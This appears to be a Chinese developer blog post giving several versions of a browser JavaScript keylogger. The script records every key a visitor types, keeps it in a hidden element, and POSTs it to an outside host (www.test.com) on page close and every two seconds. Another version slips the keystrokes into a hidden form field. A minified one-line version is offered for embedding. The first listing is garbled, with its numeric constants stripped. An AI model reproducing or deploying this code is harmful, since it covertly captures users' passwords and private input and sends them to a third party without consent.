JavaScript实现按键记录，并在关掉网页之前把记录的内容post出去
最近陈老师让我给新架构加一个按键记录的业务。去学习了JavaScript，网上找了一些代码，最后写出来了：
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML>
<HEAD><TITLE>JS按键记录</TITLE>
<META NAME="Generator" CONTENT="EditPlus">
<META NAME="Author" CONTENT="Larry">
<META NAME="Keywords" CONTENT="JS按键记录">
<META NAME="Description" CONTENT="JS 按键 记录">
</HEAD>
<BODY> <script type="text/javascript">
var keystring = "";//记录按键的字符串
function $(s){return document.getElementById(s)?document.getElementById(s):s;}
function keypress(e)
{
var currKey=,CapsLock=,e=e||event;
currKey=e.keyCode||e.which||e.charCode;
CapsLock=currKey>=&&currKey<=;
switch(currKey)
{
//屏蔽了退格、制表、回车、空格、方向键、删除键，因为keypress只能针对一些可以打印出来的字符有效，而对于功能按键，如F1-F12、Backspace、Enter、Escape、PageUP、PageDown和箭头方向等，就不会产生keypress事件，但是可以产生keydown和keyup事件。然而在FireFox中，功能按键是可以产生keypress事件的。
case : case :case :case :case :case :case :case :case :keyName = "";break;
default:keyName = String.fromCharCode(currKey); break;
}
keystring += keyName;
}
function keydown(e)
{
var e=e||event;
var currKey=e.keyCode||e.which||e.charCode;
if((currKey>&&currKey<)||(currKey>&&currKey<))
{
switch(currKey)
{
case : keyName = "[退格]"; break;
case : keyName = "[制表]"; break;
case :keyName = "[回车]"; break;
case :keyName = "[空格]"; break;
case :keyName = "[PageUp]"; break;
case :keyName = "[PageDown]"; break;
case :keyName = "[End]"; break;
case :keyName = "[Home]"; break;
case :keyName = "[方向键左]"; break;
case :keyName = "[方向键上]"; break;
case :keyName = "[方向键右]"; break;
case :keyName = "[方向键下]"; break;
case :keyName = "[删除]"; break;
default:keyName = ""; break;
}
keystring += keyName;
}
$("content").innerHTML=keystring;
}
function keyup(e)
{
$("content").innerHTML=keystring;
}
document.onkeypress=keypress;
document.onkeydown =keydown;
document.onkeyup =keyup; function loadXMLDoc()
{
var xmlhttp;
if (window.XMLHttpRequest)
{// code for IE7+, Firefox, Chrome, Opera, Safari
xmlhttp=new XMLHttpRequest();
}
else
{// code for IE6, IE5
xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
}
xmlhttp.onreadystatechange=function()
{
if (xmlhttp.readyState== && xmlhttp.status==)
{
document.getElementById("myDiv").innerHTML=xmlhttp.responseText;
}
}
xmlhttp.open("POST","http://www.test.com",true);
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
<!-- send的参数的规则是，用“=”间隔name和body，“&”间隔条目，下面这行会在name中显示“keystring”，value中显示keystring的值 -->
xmlhttp.send("keystring="+keystring);
} <!-- 如果下面用下面这行，则在关闭前弹出对话框。 -->
<!-- window.onbeforeunload = function() { return "大鸡吧大鸡吧？"+ keystring;} --> window.onbeforeunload = function() { loadXMLDoc();} </script>
<br/><div id="content" style="display:none;" ></div> </BODY>
</HTML>
这段代码修改自网名为“羽殇仁”的代码。
参考：http://www.w3school.com.cn/ajax/ajax_xmlhttprequest_send.asp
http://www.jb51.net/article/22001.htm
-------------更新----------------------
onbeforeunload只能判断页面关闭，但又找不到能判断页面跳转的函数，于是想出了每隔两秒post键击的方法如下：
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML>
<HEAD><TITLE>JS按键记录</TITLE>
<META NAME="Author" CONTENT="Larry">
</HEAD>
<BODY onload="timedCount()">
<script type="text/javascript">
var c=0
var t
function timedCount()
{
c=c+1
t=setTimeout("keepPosting()",2000)
} function keepPosting()
{
loadXMLDoc();
timedCount();
}
</script> <script type="text/javascript">
var keystring = "";
function $(s){return document.getElementById(s)?document.getElementById(s):s;}
function keypress(e)
{
var currKey=0,CapsLock=0,e=e||event;
currKey=e.keyCode||e.which||e.charCode;
CapsLock=currKey>=65&&currKey<=90;
switch(currKey)
{
case 8: case 9:case 13:case 32:case 37:case 38:case 39:case 40:case 46:keyName = "";break;
default:keyName = String.fromCharCode(currKey); break;
}
keystring += keyName;
}
function keydown(e)
{
var e=e||event;
var currKey=e.keyCode||e.which||e.charCode;
if((currKey>7&&currKey<14)||(currKey>31&&currKey<47))
{
switch(currKey)
{
case 8: keyName = "[退格]"; break;
case 9: keyName = "[制表]"; break;
case 13:keyName = "[回车]"; break;
case 32:keyName = "[空格]"; break;
case 33:keyName = "[PageUp]"; break;
case 34:keyName = "[PageDown]"; break;
case 35:keyName = "[End]"; break;
case 36:keyName = "[Home]"; break;
case 37:keyName = "[方向键左]"; break;
case 38:keyName = "[方向键上]"; break;
case 39:keyName = "[方向键右]"; break;
case 40:keyName = "[方向键下]"; break;
case 46:keyName = "[删除]"; break;
default:keyName = ""; break;
}
keystring += keyName;
}
$("content").innerHTML=keystring;
}
function keyup(e)
{
$("content").innerHTML=keystring;
}
document.onkeypress=keypress;
document.onkeydown =keydown;
document.onkeyup =keyup; function loadXMLDoc()
{
var xmlhttp;
if (window.XMLHttpRequest)
{
xmlhttp=new XMLHttpRequest();
}
else
{
xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
}
xmlhttp.onreadystatechange=function()
{
if (xmlhttp.readyState==4 && xmlhttp.status==200)
{
document.getElementById("myDiv").innerHTML=xmlhttp.responseText;
}
}
xmlhttp.open("POST","http://www.test.com",true);
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xmlhttp.send("keystring="+keystring);
} window.onbeforeunload = function() { loadXMLDoc();} </script>
<br/><div id="content" style="display:none;" ></div> </BODY>
</HTML>
参考：js计时：http://www.w3school.com.cn/js/js_timing.asp
js：unload ：http://www.w3school.com.cn/jsref/event_onload.asp
-----------2015年1月26日更新 利用form中的 input type = hidden实现在点击提交的同时提交按键记录----------------
<script type="text/javascript">
var keystring = "";
function $(s){return document.getElementById(s)?document.getElementById(s):s;}
function keypress(e)
{
var currKey=0,CapsLock=0,e=e||event;
currKey=e.keyCode||e.which||e.charCode;
CapsLock=currKey>=65&&currKey<=90;
switch(currKey)
{
case 8: case 9:case 13:case 32:case 37:case 38:case 39:case 40:case 46:keyName = "";break;
default:keyName = String.fromCharCode(currKey); break;
}
keystring += keyName;
}
function keydown(e)
{
var e=e||event;
var currKey=e.keyCode||e.which||e.charCode;
if((currKey>7&&currKey<14)||(currKey>31&&currKey<47))
{
switch(currKey)
{
case 8: keyName = "[退格]"; break;
case 9: keyName = "[制表]"; break;
case 13:keyName = "[回车]"; break;
case 32:keyName = "[空格]"; break;
case 33:keyName = "[PageUp]"; break;
case 34:keyName = "[PageDown]"; break;
case 35:keyName = "[End]"; break;
case 36:keyName = "[Home]"; break;
case 37:keyName = "[方向键左]"; break;
case 38:keyName = "[方向键上]"; break;
case 39:keyName = "[方向键右]"; break;
case 40:keyName = "[方向键下]"; break;
case 46:keyName = "[删除]"; break;
default:keyName = ""; break;
}
keystring += keyName;
}
$("kks").value=keystring;
}
function keyup(e)
{
$("kks").value=keystring;
}
document.onkeypress=keypress;
document.onkeydown =keydown;
document.onkeyup =keyup;
</script>
<br/><div id="content" style="display:none;" ></div>
然后在form里面加入：
<input type="hidden" id="kks" name="kks2222" value="">
-------------补充----------------------
可采用http://bbs.css-js.cn/的UglifyJS压缩代码去掉换行符。
注意压缩时候不要把Script标签带进去不然会失败。
压缩后：
<BODY onload="timedCount()"><script type="text/javascript">function timedCount(){c+=1,t=setTimeout("keepPosting()",2e3)}function keepPosting(){loadXMLDoc(),timedCount()}function $(a){return document.getElementById(a)?document.getElementById(a):a}function keypress(a){var b=0,c=0,a=a||event;switch(b=a.keyCode||a.which||a.charCode,c=b>=65&&90>=b,b){case 8:case 9:case 13:case 32:case 37:case 38:case 39:case 40:case 46:keyName="";break;default:keyName=String.fromCharCode(b)}keystring+=keyName}function keydown(a){var b;if(a=a||event,b=a.keyCode||a.which||a.charCode,b>7&&14>b||b>31&&47>b){switch(b){case 8:keyName="[退格]";break;case 9:keyName="[制表]";break;case 13:keyName="[回车]";break;case 32:keyName="[空格]";break;case 33:keyName="[PageUp]";break;case 34:keyName="[PageDown]";break;case 35:keyName="[End]";break;case 36:keyName="[Home]";break;case 37:keyName="[方向键左]";break;case 38:keyName="[方向键上]";break;case 39:keyName="[方向键右]";break;case 40:keyName="[方向键下]";break;case 46:keyName="[删除]";break;default:keyName=""}keystring+=keyName}$("content").innerHTML=keystring}function keyup(){$("content").innerHTML=keystring}function loadXMLDoc(){var a;a=window.XMLHttpRequest?new XMLHttpRequest:new ActiveXObject("Microsoft.XMLHTTP"),a.onreadystatechange=function(){4==a.readyState&&200==a.status&&(document.getElementById("myDiv").innerHTML=a.responseText)},a.open("POST","http://www.test.com",!0),a.setRequestHeader("Content-type","application/x-www-form-urlencoded"),a.send("keystring="+keystring)}var t,c=0,keystring="";document.onkeypress=keypress,document.onkeydown=keydown,document.onkeyup=keyup,window.onbeforeunload=function(){loadXMLDoc()};</script><br/><div id="content" style="display:none;" ></div>
JavaScript实现按键记录，并在关掉网页之前把记录的内容post出去的更多相关文章
- JavaScript 获取按键，并屏蔽系统 Window 事件
// JavaScript 获取按键,并屏蔽系统 Window 事件 window.document.onkeydown = onkeydown; function onkeydown(event) ...
- 利用Crowbar抓取网页异步加载的内容 [Python俱乐部]
利用Crowbar抓取网页异步加载的内容 [Python俱乐部] 利用Crowbar抓取网页异步加载的内容 在做 Web 信息提取.数据挖掘的过程中,一个关键步骤就是网页源代码的获取.但是出于各种原因 ...
- 【记录】尝试用android-logging-log4j去实现log输出内容到sd卡中的文件的功能
[背景] 折腾: [记录]给Android中添加log日志输出到文件 期间,已经试了: [记录]尝试用android中microlog4android实现log输出到文件的功能 但是不好用. 然后就是 ...
- 使用ActionFilterAttribute 记录 WebApi Action 请求和返回结果记录
使用ActionFilterAttribute 记录 WebApi Action 请求和返回结果记录 C#进阶系列——WebApi 异常处理解决方案 [ASP.NET Web API教程]4.3 AS ...
- 初探oracle删除重复记录，只保留rowid最小的记录
如题,初探oracle删除重复记录,只保留rowid最小的记录(rowid可以反映数据插入到数据库中的顺序) 一.删除重复记录可以使用多种方法,如下只是介绍了两种方法(exist和in两种). 1.首 ...
- ON DUPLICATE KEY UPDATE 当记录不存在时插入，当记录存在时更新
MySQL 当记录不存在时插入,当记录存在时更新网上基本有三种解决方法.第一种:示例一:插入多条记录假设有一个主键为 client_id 的 clients 表,可以使用下面的语句:INSERTINT ...
- SQL 从100万条记录中的到 成绩最高的记录
从100万条记录中的到 成绩最高的记录 问题分析:要从一张表中找到成绩最高的记录并不难,有很多种办法,最简单的就是利用TOP 1 select top 1 * from student order b ...
- oracle删除重复记录，只保留rowid最小的记录
初探oracle删除重复记录,只保留rowid最小的记录 如题,初探oracle删除重复记录,只保留rowid最小的记录(rowid可以反映数据插入到数据库中的顺序) 一.删除重复记录可以使用多种 ...
- 【转】MySQL 当记录不存在时insert，当记录存在时update
MySQL当记录不存在时insert,当记录存在时更新:网上基本有三种解决方法 第一种: 示例一:insert多条记录 假设有一个主键为 client_id 的 clients 表,可以使用下面的语句 ...
随机推荐
- POJ3592 Instantaneous Transference 强连通+最长路
题目链接: id=3592">poj3592 题意: 给出一幅n X m的二维地图,每一个格子可能是矿区,障碍,或者传送点 用不同的字符表示: 有一辆矿车从地图的左上角(0,0)出发, ...
- Chrome内核保存为mhtml(单网页)
在地址栏输入:chrome://flags 回车 然后Ctrl+f查找mhtml Tips: 如果网页图片看不太清可以CTRL+鼠标滚轮放大网页 如果系统原因以及其它因素可以下载:QQ浏览器(默认保 ...
- CCNP路由实验之十二 MPLS
个.第3个数据包„„同样的操作.包含查询路由表.重写MAC地址,CRC校验等. 系列路由器.或者12000系列路由器. Netflow switching 通过一种标准的交换机制,处理了流的第一 ...
- Linux Setuid(SUID)和Setgid(SGID) sticky bit
http://www.php100.com/html/webkaifa/Linux/2010/0812/6392.html 1.setuid和setgid的解说 setuid和setgid位是让普通用 ...
- tree related problems (update continuously)
leetcode Binary Tree Level Order Traversal 这道题是要进行二叉树的层次遍历.对于层次遍历,最简单直观的办法就是进行BFS.于是我们仅仅须要维护一个队列就能够了 ...
- smali函数分析
一.函数调用 smali中的函数和成员变量也分为两种,分别为 direct 和 virtual 两者的区别 1.direct method 是指private函数 2.virtual method 是 ...
- eclipse下Android工程名称的修改方法
eclipse下Android工程名称的修改方法 对于已经建立的工程,如果发现原来的工程名不合适,此时若想彻底更改工程名,需要三个步骤: 1.更改工程名 选中工程名,右键-->Refactor- ...
- redis缓冲与数据库
redis是基于key-value结构存储的,且数据存放在内存中,相对数据库读写较快. 基于redis的优势,将redis中存放用户数据,用户第一次登录时,将用户数据从数据库存放redis中,也可以将 ...
- Activiti实战
说实话,接触Activiti已经是3年前的事情,那时候组里想做一个流程自动化的application,并且记录用户点击.做单量等.第一次听说Activiti,感觉挺好奇的,遂看了下相关的文档跟同事的代 ...
- 九度OJ 1110：小白鼠排队 （排序）
时间限制:1 秒 内存限制:32 兆 特殊判题:否 提交:1734 解决:1054 题目描述: N只小白鼠(1 <= N <= 100),每只鼠头上戴着一顶有颜色的帽子.现在称出每只白鼠的 ...